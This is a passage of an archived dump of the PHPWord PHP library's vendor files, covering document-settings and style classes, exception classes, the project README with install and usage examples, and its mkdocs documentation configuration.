 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Metadata;

/**
 * Compatibility setting class.
 *
 * @since 0.12.0
 * @see  http://www.datypic.com/sc/ooxml/t-w_CT_Compat.html
 */
class Compatibility
{
    /**
     * OOXML version.
     *
     * 12 = 2007
     * 14 = 2010
     * 15 = 2013
     *
     * @var int
     *
     * @see  http://msdn.microsoft.com/en-us/library/dd909048%28v=office.12%29.aspx
     */
    private $ooxmlVersion = 12;

    /**
     * Get OOXML version.
     *
     * @return int
     */
    public function getOoxmlVersion()
    {
        return $this->ooxmlVersion;
    }

    /**
     * Set OOXML version.
     *
     * @param int $value
     *
     * @return self
     */
    public function setOoxmlVersion($value)
    {
        $this->ooxmlVersion = $value;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Metadata/Settings.php000066600000024705151150442730017710 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Metadata;

use PhpOffice\PhpWord\ComplexType\ProofState;
use PhpOffice\PhpWord\ComplexType\TrackChangesView;
use PhpOffice\PhpWord\SimpleType\Zoom;
use PhpOffice\PhpWord\Style\Language;

/**
 * Setting class.
 *
 * @since 0.14.0
 * @see  http://www.datypic.com/sc/ooxml/t-w_CT_Settings.html
 */
class Settings
{
    /**
     * Magnification Setting.
     *
     * @see  http://www.datypic.com/sc/ooxml/e-w_zoom-1.html
     *
     * @var mixed either integer, in which case it treated as a percent, or one of PhpOffice\PhpWord\SimpleType\Zoom
     */
    private $zoom = 100;

    /**
     * Mirror Page Margins.
     *
     * @see http://www.datypic.com/sc/ooxml/e-w_mirrorMargins-1.html
     *
     * @var bool
     */
    private $mirrorMargins;

    /**
     * Hide spelling errors.
     *
     * @var bool
     */
    private $hideSpellingErrors = false;

    /**
     * Hide grammatical errors.
     *
     * @var bool
     */
    private $hideGrammaticalErrors = false;

    /**
     * Visibility of Annotation Types.
     *
     * @var TrackChangesView
     */
    private $revisionView;

    /**
     * Track Revisions to Document.
     *
     * @var bool
     */
    private $trackRevisions = false;

    /**
     * Do Not Use Move Syntax When Tracking Revisions.
     *
     * @var bool
     */
    private $doNotTrackMoves = false;

    /**
     * Do Not Track Formatting Revisions When Tracking Revisions.
     *
     * @var bool
     */
    private $doNotTrackFormatting = false;

    /**
     * Spelling and Grammatical Checking State.
     *
     * @var \PhpOffice\PhpWord\ComplexType\ProofState
     */
    private $proofState;

    /**
     * Document Editing Restrictions.
     *
     * @var \PhpOffice\PhpWord\Metadata\Protection
     */
    private $documentProtection;

    /**
     * Enables different header for odd and even pages.
     *
     * @var bool
     */
    private $evenAndOddHeaders = false;

    /**
     * Theme Font Languages.
     *
     * @var ?Language
     */
    private $themeFontLang;

    /**
     * Automatically Recalculate Fields on Open.
     *
     * @var bool
     */
    private $updateFields = false;

    /**
     * Radix Point for Field Code Evaluation.
     *
     * @var string
     */
    private $decimalSymbol = '.';

    /**
     * Automatically hyphenate document contents when displayed.
     *
     * @var null|bool
     */
    private $autoHyphenation;

    /**
     * Maximum number of consecutively hyphenated lines.
     *
     * @var null|int
     */
    private $consecutiveHyphenLimit;

    /**
     * The allowed amount of whitespace before hyphenation is applied.
     *
     * @var null|float|int
     */
    private $hyphenationZone;

    /**
     * Do not hyphenate words in all capital letters.
     *
     * @var null|bool
     */
    private $doNotHyphenateCaps;

    /**
     * Enable or disable book-folded printing.
     *
     * @var bool
     */
    private $bookFoldPrinting = false;

    /**
     * @return Protection
     */
    public function getDocumentProtection()
    {
        if ($this->documentProtection == null) {
            $this->documentProtection = new Protection();
        }

        return $this->documentProtection;
    }

    /**
     * @param Protection $documentProtection
     */
    public function setDocumentProtection($documentProtection): void
    {
        $this->documentProtection = $documentProtection;
    }

    /**
     * @return ProofState
     */
    public function getProofState()
    {
        if ($this->proofState == null) {
            $this->proofState = new ProofState();
        }

        return $this->proofState;
    }

    /**
     * @param ProofState $proofState
     */
    public function setProofState($proofState): void
    {
        $this->proofState = $proofState;
    }

    /**
     * Are spelling errors hidden.
     *
     * @return bool
     */
    public function hasHideSpellingErrors()
    {
        return $this->hideSpellingErrors;
    }

    /**
     * Hide spelling errors.
     *
     * @param ?bool $hideSpellingErrors
     */
    public function setHideSpellingErrors($hideSpellingErrors): void
    {
        $this->hideSpellingErrors = $hideSpellingErrors === null ? true : $hideSpellingErrors;
    }

    /**
     * Are grammatical errors hidden.
     *
     * @return bool
     */
    public function hasHideGrammaticalErrors()
    {
        return $this->hideGrammaticalErrors;
    }

    /**
     * Hide grammatical errors.
     *
     * @param ?bool $hideGrammaticalErrors
     */
    public function setHideGrammaticalErrors($hideGrammaticalErrors): void
    {
        $this->hideGrammaticalErrors = $hideGrammaticalErrors === null ? true : $hideGrammaticalErrors;
    }

    /**
     * @return bool
     */
    public function hasEvenAndOddHeaders()
    {
        return $this->evenAndOddHeaders;
    }

    /**
     * @param ?bool $evenAndOddHeaders
     */
    public function setEvenAndOddHeaders($evenAndOddHeaders): void
    {
        $this->evenAndOddHeaders = $evenAndOddHeaders === null ? true : $evenAndOddHeaders;
    }

    /**
     * Get the Visibility of Annotation Types.
     *
     * @return \PhpOffice\PhpWord\ComplexType\TrackChangesView
     */
    public function getRevisionView()
    {
        return $this->revisionView;
    }

    /**
     * Set the Visibility of Annotation Types.
     */
    public function setRevisionView(?TrackChangesView $trackChangesView = null): void
    {
        $this->revisionView = $trackChangesView;
    }

    /**
     * @return bool
     */
    public function hasTrackRevisions()
    {
        return $this->trackRevisions;
    }

    /**
     * @param ?bool $trackRevisions
     */
    public function setTrackRevisions($trackRevisions): void
    {
        $this->trackRevisions = $trackRevisions === null ? true : $trackRevisions;
    }

    /**
     * @return bool
     */
    public function hasDoNotTrackMoves()
    {
        return $this->doNotTrackMoves;
    }

    /**
     * @param ?bool $doNotTrackMoves
     */
    public function setDoNotTrackMoves($doNotTrackMoves): void
    {
        $this->doNotTrackMoves = $doNotTrackMoves === null ? true : $doNotTrackMoves;
    }

    /**
     * @return bool
     */
    public function hasDoNotTrackFormatting()
    {
        return $this->doNotTrackFormatting;
    }

    /**
     * @param ?bool $doNotTrackFormatting
     */
    public function setDoNotTrackFormatting($doNotTrackFormatting): void
    {
        $this->doNotTrackFormatting = $doNotTrackFormatting === null ? true : $doNotTrackFormatting;
    }

    /**
     * @return mixed
     */
    public function getZoom()
    {
        return $this->zoom;
    }

    /**
     * @param mixed $zoom
     */
    public function setZoom($zoom): void
    {
        if (is_numeric($zoom)) {
            // zoom is a percentage
            $this->zoom = $zoom;
        } else {
            Zoom::validate($zoom);
            $this->zoom = $zoom;
        }
    }

    /**
     * @return bool
     */
    public function hasMirrorMargins()
    {
        return $this->mirrorMargins;
    }

    /**
     * @param bool $mirrorMargins
     */
    public function setMirrorMargins($mirrorMargins): void
    {
        $this->mirrorMargins = $mirrorMargins;
    }

    /**
     * Returns the Language.
     */
    public function getThemeFontLang(): ?Language
    {
        return $this->themeFontLang;
    }

    /**
     * Sets the Language for this document.
     */
    public function setThemeFontLang(Language $themeFontLang): self
    {
        $this->themeFontLang = $themeFontLang;

        return $this;
    }

    /**
     * @return bool
     */
    public function hasUpdateFields()
    {
        return $this->updateFields;
    }

    /**
     * @param ?bool $updateFields
     */
    public function setUpdateFields($updateFields): void
    {
        $this->updateFields = $updateFields === null ? false : $updateFields;
    }

    /**
     * Returns the Radix Point for Field Code Evaluation.
     *
     * @return string
     */
    public function getDecimalSymbol()
    {
        return $this->decimalSymbol;
    }

    /**
     * sets the Radix Point for Field Code Evaluation.
     *
     * @param string $decimalSymbol
     */
    public function setDecimalSymbol($decimalSymbol): void
    {
        $this->decimalSymbol = $decimalSymbol;
    }

    /**
     * @return null|bool
     */
    public function hasAutoHyphenation()
    {
        return $this->autoHyphenation;
    }

    /**
     * @param bool $autoHyphenation
     */
    public function setAutoHyphenation($autoHyphenation): void
    {
        $this->autoHyphenation = (bool) $autoHyphenation;
    }

    /**
     * @return null|int
     */
    public function getConsecutiveHyphenLimit()
    {
        return $this->consecutiveHyphenLimit;
    }

    /**
     * @param int $consecutiveHyphenLimit
     */
    public function setConsecutiveHyphenLimit($consecutiveHyphenLimit): void
    {
        $this->consecutiveHyphenLimit = (int) $consecutiveHyphenLimit;
    }

    /**
     * @return null|float|int
     */
    public function getHyphenationZone()
    {
        return $this->hyphenationZone;
    }

    /**
     * @param null|float|int $hyphenationZone Measurement unit is twip
     */
    public function setHyphenationZone($hyphenationZone): void
    {
        $this->hyphenationZone = $hyphenationZone;
    }

    /**
     * @return null|bool
     */
    public function hasDoNotHyphenateCaps()
    {
        return $this->doNotHyphenateCaps;
    }

    /**
     * @param bool $doNotHyphenateCaps
     */
    public function setDoNotHyphenateCaps($doNotHyphenateCaps): void
    {
        $this->doNotHyphenateCaps = (bool) $doNotHyphenateCaps;
    }

    public function hasBookFoldPrinting(): bool
    {
        return $this->bookFoldPrinting;
    }

    public function setBookFoldPrinting(bool $bookFoldPrinting): self
    {
        $this->bookFoldPrinting = $bookFoldPrinting;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Exception/CopyFileException.php000066600000002460151150442730021711 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Exception;

/**
 * @since 0.12.0
 */
final class CopyFileException extends Exception
{
    /**
     * @param string $source The fully qualified source file name
     * @param string $destination The fully qualified destination file name
     * @param int $code The user defined exception code
     * @param \Exception $previous The previous exception used for the exception chaining
     */
    public function __construct($source, $destination, $code = 0, ?\Exception $previous = null)
    {
        parent::__construct(
            sprintf('Could not copy \'%s\' file to \'%s\'.', $source, $destination),
            $code,
            $previous
        );
    }
}
vendor/phpoffice/phpword/src/PhpWord/Exception/UnsupportedImageTypeException.php000066600000001434151150442730024334 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Exception;

/**
 * Exception used for when an image type is unsupported.
 */
class UnsupportedImageTypeException extends Exception
{
}
vendor/phpoffice/phpword/src/PhpWord/Exception/InvalidImageException.php000066600000001415151150442730022527 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Exception;

/**
 * Exception used for when an image is not found.
 */
class InvalidImageException extends Exception
{
}
vendor/phpoffice/phpword/src/PhpWord/Exception/CreateTemporaryFileException.php000066600000002237151150442730024107 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Exception;

/**
 * @since 0.12.0
 */
final class CreateTemporaryFileException extends Exception
{
    /**
     * @param int $code The user defined exception code
     * @param \Exception $previous The previous exception used for the exception chaining
     */
    public function __construct($code = 0, ?\Exception $previous = null)
    {
        parent::__construct(
            'Could not create a temporary file with unique name in the specified directory.',
            $code,
            $previous
        );
    }
}
vendor/phpoffice/phpword/src/PhpWord/Exception/Exception.php000066600000001346151150442730020260 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Exception;

/**
 * General exception.
 */
class Exception extends \Exception
{
}
vendor/phpoffice/phpword/src/PhpWord/Exception/InvalidObjectException.php000066600000001416151150442730022714 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Exception;

/**
 * Exception used for when an image is not found.
 */
class InvalidObjectException extends Exception
{
}
vendor/phpoffice/phpword/src/PhpWord/Exception/InvalidStyleException.php000066600000001476151150442730022614 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Exception;

use InvalidArgumentException;

/**
 * Exception used for when a style value is invalid.
 */
class InvalidStyleException extends InvalidArgumentException
{
}
vendor/phpoffice/phpword/src/PhpWord/Style.php000066600000012671151150442730015467 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord;

use PhpOffice\PhpWord\Style\AbstractStyle;
use PhpOffice\PhpWord\Style\Font;
use PhpOffice\PhpWord\Style\Numbering;
use PhpOffice\PhpWord\Style\Paragraph;
use PhpOffice\PhpWord\Style\Table;

/**
 * Style collection.
 */
class Style
{
    /**
     * Style register.
     *
     * @var array
     */
    private static $styles = [];

    /**
     * Add paragraph style.
     *
     * @param string $styleName
     * @param AbstractStyle|array $styles
     *
     * @return \PhpOffice\PhpWord\Style\Paragraph
     */
    public static function addParagraphStyle($styleName, $styles)
    {
        return self::setStyleValues($styleName, new Paragraph(), $styles);
    }

    /**
     * Add font style.
     *
     * @param string $styleName
     * @param AbstractStyle|array $fontStyle
     * @param AbstractStyle|array $paragraphStyle
     *
     * @return \PhpOffice\PhpWord\Style\Font
     */
    public static function addFontStyle($styleName, $fontStyle, $paragraphStyle = null)
    {
        return self::setStyleValues($styleName, new Font('text', $paragraphStyle), $fontStyle);
    }

    /**
     * Add link style.
     *
     * @param string $styleName
     * @param AbstractStyle|array $styles
     *
     * @return \PhpOffice\PhpWord\Style\Font
     */
    public static function addLinkStyle($styleName, $styles)
    {
        return self::setStyleValues($styleName, new Font('link'), $styles);
    }

    /**
     * Add numbering style.
     *
     * @param string $styleName
     * @param AbstractStyle|array $styleValues
     *
     * @return \PhpOffice\PhpWord\Style\Numbering
     *
     * @since 0.10.0
     */
    public static function addNumberingStyle($styleName, $styleValues)
    {
        return self::setStyleValues($styleName, new Numbering(), $styleValues);
    }

    /**
     * Add title style.
     *
     * @param null|int $depth Provide null to set title font
     * @param AbstractStyle|array $fontStyle
     * @param AbstractStyle|array $paragraphStyle
     *
     * @return \PhpOffice\PhpWord\Style\Font
     */
    public static function addTitleStyle($depth, $fontStyle, $paragraphStyle = null)
    {
        if (empty($depth)) {
            $styleName = 'Title';
        } else {
            $styleName = "Heading_{$depth}";
        }

        return self::setStyleValues($styleName, new Font('title', $paragraphStyle), $fontStyle);
    }

    /**
     * Add table style.
     *
     * @param string $styleName
     * @param array $styleTable
     * @param null|array $styleFirstRow
     *
     * @return \PhpOffice\PhpWord\Style\Table
     */
    public static function addTableStyle($styleName, $styleTable, $styleFirstRow = null)
    {
        return self::setStyleValues($styleName, new Table($styleTable, $styleFirstRow), null);
    }

    /**
     * Count styles.
     *
     * @return int
     *
     * @since 0.10.0
     */
    public static function countStyles()
    {
        return count(self::$styles);
    }

    /**
     * Reset styles.
     *
     * @since 0.10.0
     */
    public static function resetStyles(): void
    {
        self::$styles = [];
    }

    /**
     * Set default paragraph style.
     *
     * @param AbstractStyle|array $styles Paragraph style definition
     *
     * @return \PhpOffice\PhpWord\Style\Paragraph
     */
    public static function setDefaultParagraphStyle($styles)
    {
        return self::addParagraphStyle('Normal', $styles);
    }

    /**
     * Get all styles.
     *
     * @return AbstractStyle[]
     */
    public static function getStyles()
    {
        return self::$styles;
    }

    /**
     * Get style by name.
     *
     * @param string $styleName
     *
     * @return ?AbstractStyle Paragraph|Font|Table|Numbering
     */
    public static function getStyle($styleName)
    {
        if (isset(self::$styles[$styleName])) {
            return self::$styles[$styleName];
        }

        return null;
    }

    /**
     * Set style values and put it to static style collection.
     *
     * The $styleValues could be an array or object
     *
     * @param string $name
     * @param AbstractStyle $style
     * @param AbstractStyle|array $value
     *
     * @return AbstractStyle
     */
    private static function setStyleValues($name, $style, $value = null)
    {
        if (!isset(self::$styles[$name])) {
            if ($value !== null) {
                if (is_array($value)) {
                    $style->setStyleByArray($value);
                } elseif ($value instanceof AbstractStyle) {
                    if (get_class($style) == get_class($value)) {
                        $style = $value;
                    }
                }
            }
            $style->setStyleName($name);
            $style->setIndex(self::countStyles() + 1); // One based index
            self::$styles[$name] = $style;
        }

        return self::getStyle($name);
    }
}
vendor/phpoffice/phpword/README.md000066600000020062151150442730012754 0ustar00# ![PHPWord](https://rawgit.com/PHPOffice/PHPWord/develop/docs/images/phpword.svg "PHPWord")

[![Latest Stable Version](https://poser.pugx.org/phpoffice/phpword/v/stable.png)](https://packagist.org/packages/phpoffice/phpword)
[![Coverage Status](https://coveralls.io/repos/github/PHPOffice/PHPWord/badge.svg?branch=master)](https://coveralls.io/github/PHPOffice/PHPWord?branch=master)
[![Total Downloads](https://poser.pugx.org/phpoffice/phpword/downloads.png)](https://packagist.org/packages/phpoffice/phpword)
[![License](https://poser.pugx.org/phpoffice/phpword/license.png)](https://packagist.org/packages/phpoffice/phpword)
[![CI](https://github.com/PHPOffice/PHPWord/actions/workflows/ci.yml/badge.svg)](https://github.com/PHPOffice/PHPWord/actions/workflows/ci.yml)
[![Join the chat at https://gitter.im/PHPOffice/PHPWord](https://img.shields.io/badge/GITTER-join%20chat-green.svg)](https://gitter.im/PHPOffice/PHPWord)

PHPWord is a library written in pure PHP that provides a set of classes to write to and read from different document file formats. The current version of PHPWord supports Microsoft [Office Open XML](http://en.wikipedia.org/wiki/Office_Open_XML) (OOXML or OpenXML), OASIS [Open Document Format for Office Applications](http://en.wikipedia.org/wiki/OpenDocument) (OpenDocument or ODF), [Rich Text Format](http://en.wikipedia.org/wiki/Rich_Text_Format) (RTF), HTML, and PDF.

PHPWord is an open source project licensed under the terms of [LGPL version 3](COPYING.LESSER). PHPWord is aimed to be a high quality software product by incorporating [continuous integration](https://github.com/PHPOffice/PHPWord/actions) and unit testing. You can learn more about PHPWord by reading the [Developers' Documentation](https://phpoffice.github.io/PHPWord/).

If you have any questions, please ask on [StackOverFlow](https://stackoverflow.com/questions/tagged/phpword)

Read more about PHPWord:

- [Features](#features)
- [Requirements](#requirements)
- [Installation](#installation)
- [Getting started](#getting-started)
- [Contributing](#contributing)
- [Developers' Documentation](https://phpoffice.github.io/PHPWord/)

## Features

With PHPWord, you can create OOXML, ODF, or RTF documents dynamically using your PHP scripts. Below are some of the things that you can do with PHPWord library:

- Set document properties, e.g. title, subject, and creator.
- Create document sections with different settings, e.g. portrait/landscape, page size, and page numbering
- Create header and footer for each sections
- Set default font type, font size, and paragraph style
- Use UTF-8 and East Asia fonts/characters
- Define custom font styles (e.g. bold, italic, color) and paragraph styles (e.g. centered, multicolumns, spacing) either as named style or inline in text
- Insert paragraphs, either as a simple text or complex one (a text run) that contains other elements
- Insert titles (headers) and table of contents
- Insert text breaks and page breaks
- Insert and format images, either local, remote, or as page watermarks
- Insert binary OLE Objects such as Excel or Visio
- Insert and format table with customized properties for each rows (e.g. repeat as header row) and cells (e.g. background color, rowspan, colspan)
- Insert list items as bulleted, numbered, or multilevel
- Insert hyperlinks
- Insert footnotes and endnotes
- Insert drawing shapes (arc, curve, line, polyline, rect, oval)
- Insert charts (pie, doughnut, bar, line, area, scatter, radar)
- Insert form fields (textinput, checkbox, and dropdown)
- Create document from templates
- Use XSL 1.0 style sheets to transform headers, main document part, and footers of an OOXML template
- ... and many more features on progress

## Requirements

PHPWord requires the following:

- PHP 7.1+
- [XML Parser extension](http://www.php.net/manual/en/xml.installation.php)
- [Laminas Escaper component](https://docs.laminas.dev/laminas-escaper/intro/)
- [Zip extension](http://php.net/manual/en/book.zip.php) (optional, used to write OOXML and ODF)
- [GD extension](http://php.net/manual/en/book.image.php) (optional, used to add images)
- [XMLWriter extension](http://php.net/manual/en/book.xmlwriter.php) (optional, used to write OOXML and ODF)
- [XSL extension](http://php.net/manual/en/book.xsl.php) (optional, used to apply XSL style sheet to template )
- [dompdf library](https://github.com/dompdf/dompdf) (optional, used to write PDF)

## Installation

PHPWord is installed via [Composer](https://getcomposer.org/).
To [add a dependency](https://getcomposer.org/doc/04-schema.md#package-links) to PHPWord in your project, either

Run the following to use the latest stable version
```sh
composer require phpoffice/phpword
```
or if you want the latest unreleased version
```sh
composer require phpoffice/phpword:dev-master
```

## Getting started

The following is a basic usage example of the PHPWord library.

```php
<?php
require_once 'bootstrap.php';

// Creating the new document...
$phpWord = new \PhpOffice\PhpWord\PhpWord();

/* Note: any element you append to a document must reside inside of a Section. */

// Adding an empty Section to the document...
$section = $phpWord->addSection();
// Adding Text element to the Section having font styled by default...
$section->addText(
    '"Learn from yesterday, live for today, hope for tomorrow. '
        . 'The important thing is not to stop questioning." '
        . '(Albert Einstein)'
);

/*
 * Note: it's possible to customize font style of the Text element you add in three ways:
 * - inline;
 * - using named font style (new font style object will be implicitly created);
 * - using explicitly created font style object.
 */

// Adding Text element with font customized inline...
$section->addText(
    '"Great achievement is usually born of great sacrifice, '
        . 'and is never the result of selfishness." '
        . '(Napoleon Hill)',
    array('name' => 'Tahoma', 'size' => 10)
);

// Adding Text element with font customized using named font style...
$fontStyleName = 'oneUserDefinedStyle';
$phpWord->addFontStyle(
    $fontStyleName,
    array('name' => 'Tahoma', 'size' => 10, 'color' => '1B2232', 'bold' => true)
);
$section->addText(
    '"The greatest accomplishment is not in never falling, '
        . 'but in rising again after you fall." '
        . '(Vince Lombardi)',
    $fontStyleName
);

// Adding Text element with font customized using explicitly created font style object...
$fontStyle = new \PhpOffice\PhpWord\Style\Font();
$fontStyle->setBold(true);
$fontStyle->setName('Tahoma');
$fontStyle->setSize(13);
$myTextElement = $section->addText('"Believe you can and you\'re halfway there." (Theodor Roosevelt)');
$myTextElement->setFontStyle($fontStyle);

// Saving the document as OOXML file...
$objWriter = \PhpOffice\PhpWord\IOFactory::createWriter($phpWord, 'Word2007');
$objWriter->save('helloWorld.docx');

// Saving the document as ODF file...
$objWriter = \PhpOffice\PhpWord\IOFactory::createWriter($phpWord, 'ODText');
$objWriter->save('helloWorld.odt');

// Saving the document as HTML file...
$objWriter = \PhpOffice\PhpWord\IOFactory::createWriter($phpWord, 'HTML');
$objWriter->save('helloWorld.html');

/* Note: we skip RTF, because it's not XML-based and requires a different example. */
/* Note: we skip PDF, because "HTML-to-PDF" approach is used to create PDF documents. */
```

More examples are provided in the [samples folder](samples/). For an easy access to those samples launch `php -S localhost:8000` in the samples directory then browse to [http://localhost:8000](http://localhost:8000) to view the samples.
You can also read the [Developers' Documentation](https://phpoffice.github.io/PHPWord/) for more detail.

## Contributing

We welcome everyone to contribute to PHPWord. Below are some of the things that you can do to contribute.

- Read [our contributing guide](CONTRIBUTING.md).
- [Fork us](https://github.com/PHPOffice/PHPWord/fork) and [request a pull](https://github.com/PHPOffice/PHPWord/pulls) to the [master](https://github.com/PHPOffice/PHPWord/tree/master) branch.
- Submit [bug reports or feature requests](https://github.com/PHPOffice/PHPWord/issues) to GitHub.
- Follow [@PHPOffice](https://twitter.com/PHPOffice) on Twitter.
vendor/phpoffice/phpword/mkdocs.yml000066600000007517151150442730013512 0ustar00site_name: PHPWord
site_url: https://phpoffice.github.io/PHPWord
repo_url: https://github.com/PHPOffice/PHPWord
repo_name: PHPOffice/PHPWord
edit_uri: edit/develop/docs/

## Theme
theme:
  name: material
  palette:
    primary: indigo
  features:
    - search.highlight
    - search.suggest

## Plugins
plugins:
  - search
  - autolink_references:
      autolinks:
        - reference_prefix: GP-
          target_url: https://github.com/<num>
        - reference_prefix: GH-
          target_url: https://github.com/PHPOffice/PHPWord/issues/<num>
        - reference_prefix: CP-
          target_url: https://archive.codeplex.com/?p=phpword&<num>

## Config
extra:
  generator: false
markdown_extensions:
  ## Syntax highlighting
  - pymdownx.highlight
  - pymdownx.superfences
  ## Support for emojis
  - pymdownx.emoji:
      emoji_index: !!python/name:materialx.emoji.twemoji
      emoji_generator: !!python/name:materialx.emoji.to_svg
  ## Support for call-outs
  - admonition
  - pymdownx.details
use_directory_urls: false

## Navigation
nav:
  - Introduction: 'index.md'
  - Install: 'install.md'
  - Usage:
    - Introduction: 'usage/introduction.md'
    - Containers: 'usage/containers.md'
    - Elements: 
      - Introduction: 'usage/elements/index.md'
      - Chart: 'usage/elements/chart.md'
      - Checkbox: 'usage/elements/checkbox.md'
      - Comment: 'usage/elements/comment.md'
      - Field: 'usage/elements/field.md'
      - Footnote & Endnote: 'usage/elements/note.md'
      - Formula: 'usage/elements/formula.md'
      - Image: 'usage/elements/image.md'
      - Line: 'usage/elements/line.md'
      - Link: 'usage/elements/link.md'
      - List: 'usage/elements/list.md'
      - OLE Object: 'usage/elements/oleobject.md'
      - Page Break: 'usage/elements/pagebreak.md'
      - Preserve Text: 'usage/elements/preservetext.md'
      - Text: 'usage/elements/text.md'
      - TextBox: 'usage/elements/textbox.md'
      - Text Break: 'usage/elements/textbreak.md'
      - Table: 'usage/elements/table.md'
      - Table of contents: 'usage/elements/toc.md'
      - Title: 'usage/elements/title.md'
      - Track Changes: 'usage/elements/trackchanges.md'
      - Watermark: 'usage/elements/watermark.md'
    - Styles: 
      - Chart: 'usage/styles/chart.md'
      - Font: 'usage/styles/font.md'
      - Image: 'usage/styles/image.md'
      - Numbering Level: 'usage/styles/numberinglevel.md'
      - Paragraph: 'usage/styles/paragraph.md'
      - Section: 'usage/styles/section.md'
      - Table: 'usage/styles/table.md'
    - Template Processing: 'usage/template.md'
    - Readers: 'usage/readers.md'
    - Writers: 'usage/writers.md'
  - FAQ: 'faq.md'
  - How to: 'howto.md'
  - Credits: 'credits.md'
  - Releases:
    - '1.x':
      - '1.3.0 (WIP)': 'changes/1.x/1.3.0.md'
      - '1.2.0': 'changes/1.x/1.2.0.md'
      - '1.1.0': 'changes/1.x/1.1.0.md'
      - '1.0.0': 'changes/1.x/1.0.0.md'
    - '0.x':
      - '0.18.3': 'changes/0.x/0.18.3.md'
      - '0.18.2': 'changes/0.x/0.18.2.md'
      - '0.18.1': 'changes/0.x/0.18.1.md'
      - '0.18.0': 'changes/0.x/0.18.0.md'
      - '0.17.0': 'changes/0.x/0.17.0.md'
      - '0.16.0': 'changes/0.x/0.16.0.md'
      - '0.15.0': 'changes/0.x/0.15.0.md'
      - '0.14.0': 'changes/0.x/0.14.0.md'
      - '0.13.0': 'changes/0.x/0.13.0.md'
      - '0.12.1': 'changes/0.x/0.12.1.md'
      - '0.12.0': 'changes/0.x/0.12.0.md'
      - '0.11.1': 'changes/0.x/0.11.1.md'
      - '0.11.0': 'changes/0.x/0.11.0.md'
      - '0.10.1': 'changes/0.x/0.10.1.md'
      - '0.10.0': 'changes/0.x/0.10.0.md'
